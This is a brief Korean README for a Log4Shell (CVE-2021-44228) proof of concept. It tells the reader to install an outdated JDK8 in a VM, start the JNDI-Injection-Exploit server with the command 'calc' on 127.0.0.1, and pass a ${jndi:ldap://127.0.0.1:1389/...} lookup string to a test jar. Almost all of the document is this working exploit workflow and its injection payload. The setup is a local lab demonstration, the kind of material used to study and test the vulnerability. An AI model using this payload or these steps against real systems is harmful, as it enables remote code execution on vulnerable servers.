CVE-2021-44228_Log4Shell

CVE-2021-44228_Log4Shell

Log4Shell(CVE-2021-44228)용 테스트 소스 코드입니다.

단계 정보

1. 가상 머신(Windows 10)에 JDK8(< 8u191)을 설치합니다.

2. Windows에서 out\artifacts\POC_jar\POC.jar를 복사합니다.

3. Windows에서 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar를 복사합니다. JNDI-Injection-Exploit 받기

4. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"를 실행합니다.

5. java -jar POC.jar ${jndi:ldap://127.0.0.1:1389/*****}를 실행합니다.